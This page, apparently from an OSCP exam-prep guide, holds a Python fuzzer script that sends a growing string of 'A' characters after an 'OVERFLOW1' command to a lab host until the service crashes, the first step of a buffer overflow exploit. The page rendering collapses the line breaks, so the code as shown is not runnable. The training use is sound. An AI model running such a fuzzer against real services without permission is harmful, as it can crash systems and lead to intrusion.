> For the complete documentation index, see [llms.txt](https://securityshark.gitbook.io/oscp-prep/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://securityshark.gitbook.io/oscp-prep/buffer-overflow-under-30-min./fuzzer.py.md).

# fuzzer.py

## !/usr/bin/env python3

import socket, time, sys

ip = "10.10.55.25"

port = 1337 timeout = 5 prefix = "OVERFLOW1 "

string = prefix + "A" \* 100

while True: try: with socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) print("Fuzzing with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1")) s.recv(1024) except: print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) sys.exit(0) string += 100 \* "A" time.sleep(1)
